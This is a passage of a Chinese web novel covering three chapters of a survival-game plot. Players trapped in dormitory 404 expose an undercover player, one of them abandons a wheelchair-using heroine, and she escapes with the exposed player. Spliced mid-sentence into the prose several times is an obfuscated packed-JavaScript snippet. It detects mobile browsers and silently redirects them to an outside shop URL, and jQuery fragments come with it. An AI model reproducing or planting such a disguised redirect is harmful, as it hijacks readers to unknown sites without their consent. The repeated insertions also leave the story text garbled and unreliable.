“京誉。”半晌,黑区男,或者说京誉,吐出两个字。 沈令珩在脑海里翻找了一通,确实不认识,是个听都没听说过的名字。 “京誉?金鱼?哈哈……哈。” 京誉露出一个十分危险的笑容,“你再笑一声,我就让你做条鱼,好好泡泡水。” 黎思淼的笑声戛然而止。 不过黎思淼这一句话,还是给了沈令珩几分灵感,京誉是因为名字太容易被取外号了才不肯说吗? 总觉得他不像是那样的人。 黎思淼假笑了两声,沈令珩以为他会到此为止,但黎思淼不知是真觉得京誉是卧底,不敢对他做什么还是怎么,竟然好奇道,“你打算让我怎么做条鱼?” 京誉的眼睛眯了起来,他几步来到黎思淼面前,慢条斯理地卷起袖口,一把将他从椅子上拎了起来,径直走向阳台。 沈令珩的瞳孔微缩,黎思淼其实不矮,估计一米八上下,身材也算匀称,但京誉就这么单手把他拎了起来,他的力量提升了几次? 肯定不止基础阶段了。 她转动轮椅往旁边让开了一点位置,谢杏儿也只是冷眼旁观,但唐飞扬却动了动,但最后还是什么都没做。 他在怀疑京誉了。沈令珩想。 她的视线追着京誉和黎思淼望去,黎思淼还在奋力挣扎,大喊着“放开我”,但京誉只是瞥了唐飞扬一眼,没有一丝一毫犹豫地把黎思淼塞进了卫生间。 花洒浇水的声音清晰地传了出来。 沈令珩不由得开始想,如果京誉就是卧底,以他的武力值,她要怎么才能翻盘? 沈令珩的耳朵突然动了动。 她好像隐约听见了卫生间里两人在说话。 她试图凑近了细听,却见京誉拎着变成了落汤鸡的黎思淼出来了。 黎思淼趴在地上,湿漉漉的发丝盖住了他的眼睛,让人看不清他的表情。 京誉松开黎思淼,任由呛水的他趴在地上不断咳嗽,黎思淼擦了一把脸,背身走进了卫生间,听声音,他在用吹风机。 京誉信步走到桌前,抽了几张纸巾擦手。 在经过唐飞扬时,他声音不轻不重道,“卧底就一定是活着的人吗?” 沈令珩微怔。 脑海里突然闪过孟文倩和黄区男人的模样。 他是什么意思?难道孟文倩也有可能? 她是因为卧底的身份所以一开始才对她出手? 沈令珩控制住自己的思绪,差点被京誉带偏,要论最可疑的人,还得是他京誉。 她怎么可以相信一个嫌疑最大的人。 尤其是在所有人都在不同程度上露出了疲态,偏偏就是他,跟个没事人一样。 沈令珩愈发怀疑起京誉来,但是,鉴于京誉这几天的表现,如果他是卧底,不可能这么容易就被她看出来。沈令珩微微蹙眉,难道真的不是他?那会是谁? 谢杏儿、唐飞扬、蒯宏盛、黎思淼,甚至死去的孟文倩和黄区男人楚鸿,每个人的名字都在床位上漆着,偏偏京誉他一开始就把自己的名字抹掉了......如果他真的是卧底,这行为是否有些太明显了? 或者是反逻辑? 便听谢杏儿道,“孟文倩不是没有可能,她确实也蠢得不太对劲。” 谢杏儿也这么认为?沈令珩蹙眉,她思索片刻,有了主意。 她输入京誉的名字,试图加他好友,然而却查无此人。沈令珩一愣,这人的名字居然都是假的。 他到底还有什么是真的? 他是否真的是卧底? 趁着吃饭的功夫,黎思淼已经收拾妥当,或许因为已经沾了水,他干脆在卫生间洗了个澡,吹干了头发,又洗了烘干了衣服,收拾整齐了才回到宿舍。 和先前差不多,京誉依旧只吃了一点。 沈令珩把京誉叫出阳台,京誉在阳台,沈令珩在宿舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296210|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,两个人隔着玻璃门,沈令珩嘴唇动了动,没有发出声音,用嘴型问他:你的真名究竟是什么? 京誉弯了弯唇,也用嘴型回她:无可奉告。 你就不怕我揭穿你?沈令珩继续。 京誉满不在意地微微抬起下巴低眼看她,说:请。 沈令珩点了点头,“唐飞扬。” “在呢,怎么了。”唐飞扬其实早就在注意他们这边了,毕竟宿舍就这么点大,这几天他们几乎把整个宿舍掀了个底朝天,这会又没有头绪,只能坐在凳子上发呆,一见有人有什么举动,大家的视线都追过来了。 “我想请你和阿盛帮忙指认京誉是卧底。”沈令珩看着京誉。 京誉挑眉,视线从沈令珩身上挪到了唐飞扬身上。 “这...”唐飞扬有些犹豫,京誉是有卧底的嫌疑,但另一方面,他的能力大家也都看到了,唐飞扬其实并不想招惹他。 “怕什么。”沈令珩淡淡道,“对你、对他,都只有好处。” 沈令珩盯住京誉,“毕竟如果你指认了他,如果成功,那他和我们本来就是对立面,是要对付的人,如果失败,那就排除了他的嫌疑,皆大欢喜。” 红区的人不争第一,自然对支线任务的积极性没有那么大,他们是最合适的人选,再加上两个人一起指认,卧底的范围大大缩小。 毕竟卧底只有一个,除了卧底外,其他人没必要说谎,两个人一起指认,起码有一个是真答案。如果两人都指认成功,那自然京誉就是卧底,如果一成功一失败,那卧底就是说出指认成功的那一个,如果都指认失败,起码证明京誉是清白的,排除了沈令珩目前最怀疑的人选。 唐飞扬的视线在他们之间来回几次,察觉到唐飞扬的动摇,京誉的嘴角下沉。 “想必京誉也不会怪你的,毕竟如果他是清白的,那就是指认失败,对他没有任何影响。”沈令珩在“任何”二字上加重了语气。 剩下的人也都聚了过来,一时间,京誉在阳台,其余人在宿舍里面,隔着玻璃门同他遥遥相望。 “确实如此。”谢杏儿也说,但她的表情却看不出喜怒。 沈令珩不闪不避地对上京誉愈发冰冷的视线,正如她所说,这次指认,除了卧底,对其他人都只有好处。 如果因为他的假名字导致指认失败,那其他人自然也不会再信他,尤其是红区人,她便能平白在唐飞扬和阿盛那边的优先级上升一位。 如果他是卧底一切都清晰了。 唐飞扬呼出口气,“好,那就这样吧。” “我指认京誉为卧底。”唐飞扬一字一句清晰地说出这句话。 沈令珩记下他指认的句子,老玩家的指认流程,应该是可靠的。 阿盛则伸出一根手指指向京誉。 两人一前一后得到提示,低下头看腕表。 沈令珩一边想着哑巴原来可以这样指认,那估计和说什么话没关系,指认卧底大概率是和自己的主观意志有关系。 “他不是卧底。”唐飞扬紧绷的身体松懈下来,又看向阿盛,阿盛也猛摇头。 沈令珩闭上眼。 原来如此,这就是黑区人吗? 沈令珩抬手,指向身后,“我指认你为卧底。” 14.404宿舍(六) 【指认成功,已成功获得1/3支线任务奖励,奖励将在通关游戏后发放】 沈令珩扶额低笑了一声,“原来你们都知道了。” 除了京誉,谢杏儿居然也不声不响地发现黎思淼是卧底了。 她连她在什么时候指认的都不知道。 “我倒是挺好奇你是怎么推断出来的?”谢杏儿不由开口,她瞥了一眼一脸灰败的黎思淼,“现在清楚谁是卧底了,是不是可以坦诚地一起合作了?” 京誉看向她,视线下意识在她身上停住。 “我只是想通了他为什么明明不是卧底,却要把自己装得这么可疑。”沈令珩克制住心里的挫败,尽量用平静地语气说,“我猜出他是找到了卧底想独吞奖励,所以故意误导我们,唯一的指认时间也就是拉黎思淼去冲水的时候了。” 谢杏儿神色微闪,最后眼里露出了然,“原来如此,你是通过京誉的反应推断的。” 沈令珩一怔。 “黎思淼的矛盾处其实很明显,”谢杏儿的唇角微微抬起一个弧度,“在你指出京誉是卧底那时,你们都在阳台,我触发了支线任务,就直接指认了。” 那会是谢杏儿来找她合作的时候,沈令珩垂眸,所以那时候她看到的谢杏儿眼里的笑意不是错觉,她第一个指认了卧底,是真的在开心。 可是为什么呢...... “因为他实在不像个蓝区人。”谢杏儿回答了沈令珩内心的疑问。 沈令珩怔然,如果只是这样,她不能接受,她是白区人,但她不觉得自己和所有人刻板印象中的白区人一样。 “就凭这个?”唐飞扬替她说出了心中的疑问。 “就凭这个。”谢杏儿说。 “当然不是。”京誉的声音同时响起,伴随着推拉玻璃门被他推开,京誉走进宿舍,除了黎思淼坐在床上,其他人都站在了一起。 京誉停在沈令珩面前,他个子很高,比黎思淼高出小半个头,此时站在沈令珩的轮椅前,显得更有压迫感,他俯视着沈令珩,扯唇笑了笑,“托你的福,原本要平分的奖励现在确定分成三份了。” 沈令珩闭上眼,手紧紧握拳,她的下唇极克制地颤了颤,她确实是想破坏京誉一个人独吞奖励,所以才公开了自己的判断,想和有过合作的谢杏儿共同分享这份奖励,但现在,虽然也确实达到了她原先的设想,但过程...与她而言实在说不上满意。 京誉却似乎很满意她的反应,唇边笑意渐深,“黎思淼,一个蓝区人,关于尸体、血迹以及饭菜,当时是你故意引导到游戏重置上去的吧?” “还有今天污蔑我是卧底。”京誉瞥了黎思淼一眼,他轻哼一声,“是故意选择那个时机的吧?想扮猪吃虎,首先要老老实实做猪。” 沈令珩的眉尾耷拉了下来,确实,那个时机很巧妙,恰好是京誉惹怒其他人的时候。 这也在他的算计之中吗? 沈令珩死死捏住拳头,指甲陷入掌心。 “好了,”京誉轻巧地将沈令珩的轮椅一转,他推上她的轮椅,“现在开始讨论如何通关。” 他把沈令珩推到桌边,视线又似是漫不经心地扫了她一眼,沈令珩的脸上没什么表情,只是低着眼,京誉舔了舔后槽牙,收回视线,转而踢了黎思淼一脚,“卧底,讲讲呗,不然送你去和孟文倩作伴。你支线任务失败了,主线任务不还得做么。” “我也不知道主线任务怎么做。”黎思淼有气无力道。 京誉叹了口气,“我给过你机会了。” 他又抓起黎思淼去卫生间了。 沈令珩听见唐飞扬小声道了句,“真狠啊。” 沈令珩轻轻呼出口气,把思绪重新拉回到通关上,听京誉的意思,卧底身份是支线任务?还是说是在试探? 卫生间又响起了水声,沈令珩抿唇,她对于游戏的认知太少了,得留出一些生存点去买几份攻略研究研究。 “你和他认识?”谢杏儿坐到沈令珩身边。 沈令珩摇摇头。 “但他似乎很关注你。”谢杏儿若有所思,“是不是你们之前见过?” “就不能是那种关注吗?两个人刚好差不多大呢。”唐飞扬加入他们的对话,眼里多了几分促狭,知道通关有望,他此时很放松,居然开起了沈令珩和京誉的玩笑。 “我听得见。” 京誉的声音从卫生间传来。 唐飞扬立马做出“被发现了”的表情,两根手指像拉拉链一样拉上嘴巴。 “与其想这个,不如想想怎么通关。”沈令珩的声音冷硬了几分,“破局点就在晚上,既然有人能来,我们自然能走。” “但问题也就是晚上。”谢杏儿配合她转移话题,“看要怎么破除强制睡眠,我今天中午试过了,凭我的意志力,不足以抵抗睡意。” “问题就在他身上。”京誉回来了。 黎思淼跟在他身后,这次黎思淼的脸色比先前更加难看,他的整张脸都被泡白了,身体还在不断发抖,嘴唇颤动着。 “休息时间到。” 灯光熄灭,唐飞扬和阿盛正准备上床,却见其他几人都没有要起身的意思,便也跟着坐定。 “看住他,别让他睡着。”京誉低声道。 “嗯。”谢杏儿应声。 沈令珩坐在轮椅上,静静看着黎思淼,又一天过去,她很疲惫,身上更是异常酸软,但毕竟到通关的关键时期了,便尽力撑着。 如果再这样下去,她马上就要无力起床了。 这就是这个游戏的杀机与隐藏时限吗? 沈令珩强撑着坐直。 时间一点一点流逝,几人却都还醒着。 看来确实是黎思淼的问题了。 不知过了多久,唐飞扬出声提醒,“都撑着点,别睡着了。” 阿盛一个激灵醒过来,睡了一会的沈令珩也揉了揉太阳穴。 还能醒过来,说明他们确实和之前不一样了,之前沈令珩睡的那两觉都是梦也没有的极沉的睡眠。 她一边想着要不要再撞一次膝盖,一边想着所以是黎思淼睡着了他们也会睡着吗?因此黎思淼不睡,他们就恢复了正常。 这算什么?卧底的能力? “别闭眼。”京誉朝黎思淼脑袋上拍了一下。 沈令珩闻声清醒了一些,她忍不住问,“你不累吗?” 不管是唐飞扬还是阿盛,或者谢杏儿,甚至黎思淼,他们哪个人不是身体疲惫? 京誉笑了一声,“谁让你们吃那么多。” 沈令珩微愣,竟然是饭的问题? 怪不得他状态保持的那么好,他就吃了那么一点点饭。 他一开始就发现了吗?还是游戏次数多了的“做题手感”? “都醒醒,有动静。”京誉警觉,他突然起身,掐住黎思淼的脖子轻手轻脚地躲到门边的墙角里。 他的五感也和力量一样加强了好几次吧,沈令珩完全没察觉动静。 谢杏儿去了另一边。 唐飞扬赶紧去京誉那边接过黎思淼,避免他睡着影响他们。 阿盛则拖起沈令珩躲在床后面。 门突然发出细微的响声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300224|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 众人屏息。 门,被推开了,露出后面满是红光的墙。 八个黑色的人影前前后后地走了进来。 他们每个人手上都领着什么东西,毫无防备地走进宿舍。 躲在一边的京誉上前几步,手里拿着什么不知名的武器,十分随意地就把这几个人放倒了,谢杏儿都没来得及出手,他一个人就轻松搞定,甚至气息都没乱一分。 “穿着的衣服倒是挺有意思的。”京誉蹲下来检查他们的装备,然后直接扒下了对方的装备,换到了自己身上,谢杏儿紧随其后。 “大概是保护他们不受睡眠控制用的,”谢杏儿说,“穿上他们的衣服,激光应该能识别后避开。” 京誉将拉链拉到顶部,带上来人的头盔,拽着步子走到沈令珩面前。 “看来你是出不去了。”京誉的声音在头盔里闷得发沉,他微微俯身,头盔里的眼睛正对着沈令珩,“沈令珩,这一次,赢的是我。” 他整了整领口,“记住了,你沈令珩,输给了我喻景。” 他仔细看着沈令珩的表情,试图在她脸上找到恍然或是别的什么。 然而沈令珩的眼里只有茫然,她的表情并不好看,但更多的是莫名其妙,沈令珩咬了咬牙,“我根本不认识你,也没得罪过你吧?有必要在这时候嘲讽我吗?” “不认识我?”喻景似是气笑了,“得罪了,得罪狠了。” 没在她脸上看到想要的表情,喻景声音反而带了怒意,“我来这个鬼地方就是拜你所赐。” “你就在这个游戏里等死。”喻景用力指了她一下,沈令珩没来得及细想,喻景已经转身走了。 这一次,墙面上虽然也出现了红光,但是却没有对他射出激光。 换上了不知是什么用途的衣服的谢杏儿跟上他,他们的衣服胸口上还挂着身份牌,上面写着404号实验组观察员7号。 “阿盛,你也来吧。”唐飞扬提醒到,“她走不了,她坐轮椅,没法通关这个游戏。” 阿盛犹豫片刻,将沈令珩放到她的轮椅。 他的眼里闪过一丝愧疚,最后还是和唐飞扬一起换上衣服走了。 沈令珩坐在轮椅上,看着那扇门在眼前关上。 他们四个一走,宿舍里立马安静下来,沈令珩没有动,只是在想,如果是她,会不会也这样走掉? 答案是很显然的,沈令珩闭上眼,“你不走吗?” “我不用伪装成别人通关。”黎思淼坐在地上,“倒是你,打算怎么做?” “他们说我没法出去,我偏不信。”沈令珩滚动轮椅,在几人附近撑着轮椅下来,她坐在地上,艰难地脱下一人的装备穿在身上。 她把自己的轮椅扯了过来,推出了门。 激光在轮椅探出门的几秒后才射了过来,沈令珩反应极快地把它扯了回来,“砰”得一声关上门。 然后她又把带着名牌的防护服,或者说隔绝服扔上去,再次推出门尝试。 结果一样,激光依旧会攻击轮椅。 沈令珩没再做其他尝试,她的轮椅会被激光扫射,说明激光确实遵循了一定的原则,但肯定没有那么高科技,毕竟其他几个人的体型和几个NPC也不完全一样,如果是机器,肯定能判断出来。 难道说,激光背后也是人在操控? 更别说她坐在轮椅上了。这些NPC没有坐轮椅来的,她一出去就会被认出来。 “别白费力气了。”黎思淼有气无力道,“你就认命吧。” 沈令珩抿紧唇,一字一句道,“我不认命。” 15.404宿舍(完) 黎思淼流露出一点兴味,“你打算怎么做?” 沈令珩瞥他一眼,忽然问,“你的身份,到底是怎么回事?” 她看看趴在地上失去意识的几个NPC,摸了摸胸口的牌子,果然是实验室吗? 那么黎思淼...“你是实验体?”沈令珩直截了当道。 黎思淼的视线闪了闪,“很明显吗?” “在你睡着后强制让其他人入睡是你的能力?能有多强?”沈令珩没理会他的问题,自顾自继续问,她从手环里取出了光剑,朝黎思淼移动。 “太冒昧了,我不会告诉你的。”黎思淼瘫坐在地上,见她过来,眸色微闪,“什么意思?你不会也想像那个黑区男人一样对我动手吧?” “不。”沈令珩说。 黎思淼这口气还没松下来,便听沈令珩平静道: “我做不到像他那样。”她将光剑对准了黎思淼,“只能直接杀了你。” “是吗?”黎思淼的语气有些奇怪,沈令珩敏锐地察觉了不对,她当机立断,在上次那条受到撞击的左膝盖上用力一敲,疼痛几乎让她整个人开始痉挛,黎思淼似是笑了一声,“睡吧,我们都睡吧。” 沈令珩只来得及下意识收起了一套隔绝服和光剑,便彻底失去了意识。 “用餐时间到!” 沈令珩睁开眼,膝盖疼得她几近晕厥,这是比起第一天更加深入骨髓的疼痛,但她几乎是瞬间就睡着了。 这绝对不是她的错觉,黎思淼的能力变强了。第一天晚上她也试图用疼痛来让自己清醒,那时候她闭眼得没那么快。 可是怎么会?他做了什么加强了自己的能力? 昨天他有做过什么不对劲的事吗? 沈令珩回忆着黎思淼昨天的经历,从白天惹怒喻景,到晚上被挟持,一幕幕画面在她脑海里重播。 等一下…… 她忽然想起了黎思淼说过的一句话,“你打算让我怎么做条鱼?” 如今确定黎思淼不是个蠢货后,她不得不认为,当时黎思淼是经过深思熟虑后才说出这句话的。 沈令珩思索片刻,忽然想通了,她猛然起身,身体便酸软得又倒了回去,沈令珩看着天花板,这才发现自己不知怎的居然回到属于她的床位上了,前几次睡醒她没有被触碰过的感觉。 她翻身低头往下望,原本那几个NPC也不见了,而她身上穿着的那套隔绝服也随之一起消失不见,热腾腾的饭菜则在桌上摆放着。 沈令珩用手撑着坐起身,黎思淼这会已经起床坐在桌边吃饭了,沈令珩比对了一下角度,拿出光剑,对准他的大腿就是两下。 “啊!!” 因为昨晚熬得太晚,沈令珩这会大脑还有些昏沉,稍微歪了一点,一剑射中了他的大腿,一剑射中了左肩膀,他手里托着的碗“哐嘡”一声就掉桌上了。 没有阿盛在,沈令珩只能自己小心翼翼地下床,她花了点时间,爬到中间时手已经几乎脱力了,她干脆一个翻身,把自己甩在了喻景床上,然后才拉过自己的轮椅坐了上去。 她看了眼阳台,又看看捂着伤口痛呼的黎思淼。 “对不起。”沈令珩说。 黎思淼其实从来都没有伤害过她,甚至于昨天,也只是让她睡着了而已。沈令珩拉住他没有受伤的那只胳膊,说,“如果我们都能活着出去,我欠你一个人情。” “太狠了!”黎思淼叫道,“你早说你有这么厉害的道具我早就听话了!” “你不会听的。”或许是因为这个游戏里就剩他们两个人了,也或许是因为沈令珩确实觉得对黎思淼有所亏欠,她难得开口和他说上几句,“如果我们都出去了,你一个卧底能不能出去还两说。要不然你早一开始就帮我们一起通关了。” “啧。”黎思淼视线闪烁几次,最后垂下头,任由沈令珩拖着他往阳台去。 激光造成的伤口会被温度灼烧愈合,所以他并没流什么血,再加上沈令珩避开了他的要害,除了痛他倒是还有力气说话,“你的脑子不比蓝区的差,是因为腿才被分到白区吧,真可惜。” 倒是默认了她的说法。 “算我认栽了,我还有一次重来的机会,这次就让你赢好了。”黎思淼不反抗了。 让?真说得出口,不过...沈令珩愣了愣,“重来的机会?” “嗯。”黎思淼说,“你是新人吧?商店里还没解锁那么多东西。” 他看了眼沈令珩的腿,一时间有些不知该说什么,一个新人,能做到这种地步,甚至在有利器在手时依旧挺克制的,她还没有被废城彻底同化。 沈令珩点点头,心里却察觉到了不对劲,她不由开口问,“重来的机会和契约,具体是什么意思?” “意思就是,”黎思淼自己站了起来,他一脸疑惑地看着沈令珩把他拖到阳台的玻璃门边,“你要带我去哪?” “泡泡水。”沈令珩非常坦然。 “那我自己去呗。”黎思淼无所谓道,他拉开玻璃门。 沈令珩朝他伸出手,“我也去。” 黎思淼顿了顿,语气有些古怪,“你要去接触水?你确定吗?” 沈令珩点头。 “你不会是发现什么了吧?”黎思淼不确定道。 “对,我发现了,我不仅发现你冲了水异能就变强了,我还发现了你另一件事,想知道就回答我的问题,然后带我一起去卫生间。”沈令珩承认了他的猜测。 他和喻景的那段对话,一想到这人是卧底,突然就觉得他那会是故意激怒喻景,利用他不动神色地冲上水加强能力。 还有第一天树立的“南方人要洗澡”的人设。 说到底都是在给他后来接触水做铺垫。 他真的是几乎骗过了所有人,喻景和谢杏儿通关那会分明也是没发现黎思淼是这个打算。 不过还是存在不合理的地方被沈令珩发现了。 比如喻景把他淋成落汤鸡后他还去洗了个澡。 如果是沈令珩,在不知道水有什么作用的情况下,是绝对不可能在被冲过一次的情况下,干脆摆烂了再去冲一次的。 “你还真是...”黎思淼瘸着一条腿,用好的那只手把沈令珩抱了起来,嘴巴很老实地开始解释,“契约类似于合同,如果你使用了契约功能,那其他人在契约时间内答应你的事都会被记录,然后在整个游戏内都会生效,如果违反会受到相应难度的生存点扣除惩罚。” 他用脚推开玻璃推拉门,走进卫生间,把沈令珩放在洗手台上,“至于重来的机会呢,”黎思淼咧嘴笑了一下,扯到肩膀的伤口,嘶了一声,“叫再来一次券,游戏通关失败后会自动触发,不过会抹除这一次游戏记忆,通关后才能想起来,还可能加难度。” 他顿了顿,“我好不容易才弄到一张,这就交代在这里了。” 沈令珩听着,心里却叹了口气,她打开水龙头,把手伸进水流中,“你去花洒那边,加强一下自己的能力,还是说泡水的效果更好?” 黎思淼虽然不理解她要做什么,却还是听了她的话,打开花洒冲在自己的手臂上,“都差不多,碰到水就行。” 沈令珩点了点头表示知道了。 “我会带你一起通关。”沈令珩说,“只要你听我的。” 她怀疑,黎思淼已经用过这张“再来一次券”了,所以他才会在这个游戏里被选为卧底,才会一开始就拥有一个特殊能力,但她不打算告诉黎思淼,如果他知道这是自己最后的机会了,沈令珩不想去赌他还会不会帮忙,她不想去赌人性。 黎思淼眸色微动,他偏过头来仔细看着沈令珩,最后耸了耸肩,不管她是不是认真的,反正他还有一次机会,随她去吧。 两人除了简单吃一点东西垫垫肚子外,剩下的时间基本都在冲水,一直冲到沈令珩的五根手指指纹都被泡发了,几乎感觉不到温度的存在时,耳边突然响起了系统的声音。 【冲水时间累计已达6小时,解锁隐藏奖励】 原来是按时间累积的,怪不得说只要碰到就行,如果喝的话要连喝六个小时…… 【恭喜玩家沈令珩获得技能:祸水东引·初级】 沈令珩换了只手继续冲,她点开腕表上个人信息那里新出现的技能栏,看到祸水东引·初级的技能介绍:30分钟内,如果使用者承受灾祸,则转嫁给被选中者,每局游戏仅限使用一次。 是个很有用的技能,攻防一体,而且完全可以起到预防作用。 沈令珩有些期待它变成中级后会怎样,会增加时间呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304664|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是增加除了灾祸以外的事件,亦或者是更特别的升级? 沈令珩看着水流从指尖滑过,嘴角微微动了动。 “休息时间到!” 沈令珩微顿,“回去睡觉。” 昨晚肯定又来过人了,还把她的隔绝服给脱了,沈令珩手头就剩下她昨天塞手环里的最后一件,不能再被人拿走。 但她得检查下黎思淼的能力...不对,应该称为技能,是否增强到足够带他们通关的地步,所以她又得穿着隔绝服。 她必须要乖乖睡在床上,盖好被子,不能被人发现。 闻言,黎思淼帮她上了床,自己也去床位睡下了。 午休时间没有晚上的睡眠时间长,没多久,沈令珩便察觉到有人来了。 沈令珩微微呼出口气,还不够。 得继续冲水。 等他们走了,彻底没有了动静后,沈令珩才小声叫黎思淼,“快醒醒。” 黎思淼翻了个身,“再睡会吧,昨天都没睡好。” “你还想不想通关了,”沈令珩语气重了些,“你不想省下那张券吗?” 黎思淼坐了起来,“行行行,好好好,通关通关!” 他帮沈令珩下床,两人又开始重复冲水。 不知过了多久,黎思淼突然道,“我的技能都升到高级了,还要继续冲吗?” “刚才是中级?”沈令珩试图确认清楚。 “对。”黎思淼点了点头。 沈令珩问:“具体范围和程度能有多广?” “1000米以内了,程度的话,似乎影响不大,毕竟也就几秒钟的差异。”黎思淼回答。 沈令珩稍稍松了口气,为了以防万一,“继续吧,说不定要再高一些,冲到晚上的休息时间再停。” 到了晚上的饭点,黎思淼递过来一块面包。 沈令珩愣了愣。 “拿着呀。”黎思淼塞到她手里,“你不是不吃游戏给的饭菜吗?” 自从喻景说了饭菜有问题后,沈令珩便只吃一点点垫垫肚子,但不吃饭终究也是活不下去的,她必须要尽快破局。 “谢...谢谢。”沈令珩咬了一口,是甜的,她手环里其实也准备了一些食物,但是她信不过黎思淼,所以没拿东西出来,反而是他拿东西给她吃。 “我一定会带你一起通关的。”沈令珩又重复了一遍。 “知道了。”黎思淼嘴里叼着面包,“继续冲吧,还要通关呢。” 时间一点一点流逝,沈令珩的技能升到了中级,600分钟内,如果使用者承受灾祸或某种要求,则转嫁给被选中者。依旧是一局游戏一次。 沈令珩看完皱了皱眉,具体是什么样的要求? 如此语焉不详,起码给她一个标准吧。 然而系统自然不会这么人性化,它既然已经给出了技能说明,就没有要改进的意思,沈令珩也只能慢慢探索尝试了。 “休息时间到!” 黎思淼正要送沈令珩上床,沈令珩摇头,“你先去睡,睡下面,待会我也睡下面。” 他们俩原本的位置都是在上铺,如果她的计划能顺利进行,那她也不必再上去睡了,黎思淼也不用睡那么高,不方便她动手。 灯不知是第几次熄灭了。 沈令珩换上隔绝服,听着黎思淼的呼吸声逐渐平稳。 她一边想着黎思淼的睡眠质量未免有些太高了,一边想着昨晚那几个NPC似乎是快早上的时候来的。 她打开门,又一次把自己的轮椅推了出去。 这一次,墙面上没有起红光。 黎思淼的技能终于足够强大到将游戏里的NPC也拉入睡眠中了。 沈令珩仰头,鼻头微微酸涩了几分,她再一次把轮椅扯了回来,这次却不是因为危险,而是为了离开。 她拉着轮椅,一点一点挪到黎思淼床边,两只手撑着坐到他床上,用力拉着他到轮椅上去。 沈令珩不由得有些庆幸,如果不是没吃游戏里准备的晚饭,如果不是她加了力量,恐怕还真没法拉动这么重一个成年男性。 她把黎思淼在轮椅上放稳,手抖得厉害,沈令珩坐在地上歇了一会,推着他一点一点出门去。 慢一点也没关系。 16.废城(三) “又在等人啊?”一头蓝发的男人搂过喻景的肩膀,“你干脆住在广场好了。” 他指了指不远处的高楼,“就在那边,那家酒店的视野特别好,也不贵,三百生存点一天。” “要你说。”喻景推开他,他早就订好了。 蓝发男人笑笑,“有备而来啊你这是,到底在等谁?没听你说过啊?” 从游戏里出来还没一天,隔几个小时就要来广场的游戏出口逛一次,眼睛盯着那个黑区的面板不放,蓝发男人挑挑眉,“你的胜场数还没到账?” “关你屁事。”喻景舔了舔后槽牙,轻笑,语气淡淡,“你是没别的事做了?” “多新鲜啊。”蓝发男人乐了,“我倒要看看你到底在搞什么名堂。” 突然,白区的游戏出口亮了亮,喻景一愣,目光瞬间就盯住了那里。 是个不认识的男人走了出来。 喻景一时间居然不知道是要松口气还是失落的感觉更多。 如果沈令珩在这,她一定能认出这个白区男人就是在预备游戏中被她“杀死”的梁方。 “稀奇,白区也有今天出游戏的?”蓝发男人有些意外。 喻景“啧”了一声,不知道自己在期待什么,算了,人都死了,他的胜场和生存点很快就会到账的,用不着多在意。 喻景正要转身,便听身边的蓝发男人“咦”了一声,说,“蓝区的瘸子也敢在月初进游戏?” “啊!不对,这个白区的也是瘸子!”蓝发男人瞪大了眼睛,“这是个什么游戏啊?这么废腿......” 他说了一半,便见本来已经打算离开的喻景又回来了,他的眼睛一错不错地注视着坐在地上的沈令珩,看着她被人抱了起来放到轮椅里,喻景皱了皱眉,视线往旁边挪了点,瞳孔霎时间缩了缩。 黎思淼? 他们两个怎么会一起通关? 里面到底发生了什么? “还真让她出来了...”喻景低喃道。 出了游戏的沈令珩自然不会想到喻景这么闲,还在这里守着她出游戏,况且这是白区和蓝区的出口,红区黄区在一边,黑区的在另一边。 沈令珩检查了一下这次游戏的收获: 【初级玩家:沈令珩通关404宿舍,本游戏胜者:黑区】 【通关奖励:生存点10000】 【支线任务奖励:1666】 还有孟文倩那边继承的七千多的生存点,这次游戏的收获也不算小,沈令珩看着支线任务给的1666,心道三个人分5000,每人应该是1666.66才对,废城却把小数点后面的抹掉了。 沈令珩默了默,关掉了腕表。 “你住哪?我推你回去还是你有朋友要来?”黎思淼手搭在她轮椅上问。 “我可以自己回去。”沈令珩道。 “还是我推你回去吧,你要是不想让我知道具体的位置,就给个大概的方向也行。”黎思淼已经检查过自己的收获了,“再来一次券”已经被触发了,再加上脑海里多出来的那一段记忆......要不是沈令珩带他通关,这次真要交代在里面了。 他对比了两次游戏的记忆,忍不住苦笑,上一次他们一无所知地在宿舍里吃了睡睡了吃,没几天就被饭菜毒害地眼睛都睁不开了。 钝刀子割肉型的游戏,喻景用了不到两天就破了局,沈令珩也是,最后还能带着他一个卧底一起通关,这两人未免强得有些太离谱了。 “没事。”沈令珩抬了抬手腕,“我加你好友了,欠你的那个人情,依旧有效。” “我欠你一个人情还差不多吧?你这次游戏的攻略去整理一下,这种带技能的游戏非常值钱,到时候可以卖给出得起价格的人,你要是信得过我,我可以帮你联络。”黎思淼好笑道,他接下沈令珩的好友申请,若有所思地念了一下她的名字,“原来是这两个字,你家里人对你的期望很高啊...怎么会来这里。” 